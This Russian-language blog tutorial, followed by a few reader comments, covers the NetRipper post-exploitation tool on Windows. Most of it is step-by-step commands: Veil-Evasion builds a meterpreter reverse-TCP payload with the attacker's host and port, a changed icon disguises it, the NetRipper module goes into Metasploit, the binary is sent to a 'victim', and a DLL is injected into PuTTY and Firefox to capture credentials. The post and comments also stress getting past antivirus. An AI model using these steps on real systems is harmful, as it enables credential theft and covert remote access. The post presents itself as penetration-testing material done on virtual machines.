NetRipper – это достаточно свежая утилита, которая позиционируется для пост-эксплуатации систем на базе Windows и использует несколько нестандартный подход для извлечения чувствительных данных.
В то время как привычные всем снифферы извлекают пароли и хеши из обычного сетевого трафика, NetRipper в свою очередь использует API хуки и обращается к функциям доступным даже для обычного низкопривелегированного пользователя.И похоже что результат получается довольно неплохой.
Стоить заметить, что этот инструмент впервые был продемонстрирован на недавнем Defcon 23, в Вегасе.
Так как речь идет о пост-эксплуатации, то нужно кратко рассмотреть варианты доставки NetRipper’a.
Вариантов как всегда множество — можно использовать его в рамках уже имеющейся метасплойт сессии, или доставить в качестве отдельного пейлоада с помощью социальной инженерии.
Количество программ с которыми умеет работать NetRipper на данный момент не очень большое, но это и различные браузеры (firefox, chrome) и часто используемые администраторами утилиты PuTTY и WinSCP.
Присутствует так же поддержка Lync и Microsoft Outlook.
Работаем с боевой нагрузкой
Для примера создадим бинарный файл с помощью известного фреймворка Veil-Evasion.
Запускаем фреймворк с помощью команды
root@kali:~# python Veil-Evasion.py
И наблюдаем его интерфейс
Выбираем подходящую полезную нагрузку:
use python/meterpreter/rev_tcp
И теперь ее нужно немного сконфигурировать, а именно — указать ip-адрес атакующего и порт на котором он будет ожидать подключений.
set LHOST 192.168.10.129
set LPORT 8080
Получаем примерно следующий результат:
После того как убедились что всё в порядке, можно смело генерировать пейлоад командой «generate».
Теперь нужно будет указать имя исполняемого файла и метод создания полезной нагрузки:
Для дополнительной маскировки можно изменить стандартную иконку на что-нибудь другое.
Чтобы справится с подобной задачей можно воспользоваться например утилитой Resource Hacker или чем-то подобным.
Вводим в строй NetRipper
Теперь нужно скачать сам NetRipper:
root@kali:~# git clone https://github.com/NytroRST/NetRipper.git
root@kali:~# cd NetRipper
root@kali:~# cd Metasploit
И добавить новый пост-модуль в метасплойт:
root@kali:~# cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/
root@kali:~# mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
root@kali:~# g++ -Wall netripper.cpp -o netripper
root@kali:~# cp netripper /usr/share/metasploit-framework/modules/post/windows/gather/netripper/
root@kali:~# cd ../Release
root@kali:~# cp DLL.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.dll
Выдвигаем Metasploit на исходную позицию
В процессе создания пейлоада Veil-Evasion делает еще одну полезную вещь — в каталоге veil-output/handlers/ он сохраняет ресурсный файл для метасплойта.
Это ускоряет работу и теперь не нужно вручную конфигурировать слушающий сервис на стороне атакующего.
root@kali:~# msfconsole -r veil-output/handlers/utorrent_handler.rc
После выполнение такой конструкции получим запуск метасплойта с автоматической конфигурацией нужных параметров хэндлера.
На этом все приготовления наконец закончены.
Отправляем любым подходящим способом бинарник жертве и дожидаемся его запуска.
Приступаем к активным действиям
Итак, сессию мы получили, можно приступать к работе с NetRipper.
Выбираем соответствующий модуль и смотрим какие здесь есть опции:
use post/windows/gather/netripper
show options
Настройка этого свежедобавленного модуля достаточно простая — указываем через запятую процессы в которые нужно инжектить dll и номер имеющейся сессии:
set PROCESSNAMES putty.exe,firefox.exe
set SESSION 1
exploit
И теперь все данные из указанных процессов начинают сохранятся во временный каталог пользователя, который обычно будет выглядеть как:
C:\Users\\AppData\Local\Temp\NetRipper
Как только пользователь попытается воспользоваться утилитой putty мы получим сохраненные команды и учетные данные:
В случае браузера сохраняется достаточно большой массив информации.
В том числе сохраняются и различные учетные данные, используемые при авторизации на веб ресурсах.
Так же, уточню что всё это время на хосте жертвы работал антивирус со самыми свежими сигнатурами на день тестов.
Стрельбы окончены, что в итоге?
В результате имеем еще один неплохой инструмент в своём арсенале, который вполне может найти своё применение в процессе тестов на проникновение.
Стоит отметить, что все действия проводились на виртуальных машинах.
Придерживайтесь действующего законодательства и экспериментируйте только на сетях и устройствах, которые принадлежат вам.
Отличная статья! Вопрос такой: чем компилировали в итоге? У меня в последний раз при компиляции пэйлоада через Pyinstaller антивирус не пропустил.
Сначала собрал с помощью pwnstaller, затем еще пробовал и дефолтным pyinstaller. Всё зависит уже от антивируса, может пропустить может что-то заподозрить.
На пропатченных FF уже видимо не работет. Проверял для версии 45.0.1